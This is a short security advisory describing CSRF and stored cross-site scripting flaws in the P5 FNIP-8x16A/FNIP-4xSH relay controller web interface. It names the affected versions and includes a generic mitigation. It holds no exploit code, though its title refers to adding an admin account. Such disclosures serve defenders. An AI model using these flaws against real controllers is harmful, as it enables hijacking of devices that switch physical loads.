P5 FNIP-8x16A FNIP-4xSH 1.0.20 – Cross-Site Request Forgery (Add Admin)

The P5 FNIP-8x16A/FNIP-4xSH controller suffers from CSRF and XSS vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to several GET/POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Implement proper input validation and sanitization to prevent CSRF and XSS attacks. Regularly update the software to the latest version to address any security vulnerabilities.

P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting


Vendor: P5
Product web page: https://www.p5.hu
Affected version: 1.0.20, 1.0.11

Summary: The FNIP-8x16A is an eight channel relay module used for switching any
type of load that doesn’t exceed the specifications. Via its built-in web site
and TCP/IP communication, the outputs and inputs can be controlled and monitored
from standard network capable devices such as computers, smartphones, web-tablets,
etc. either locally or via the network. The module can be used independently or
as part of a complex control system in residential and commercial installations.

Desc: The controller suffers from CSRF and XSS vulnerabilities. The application
allows users to perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits a malicious web
site. Input passed to several GET/POST parameters is not properly sanitised before
being returned to the user. This can be exploited to execute arbitrary HTML and
script code in a user's browser session in context of an affected site.
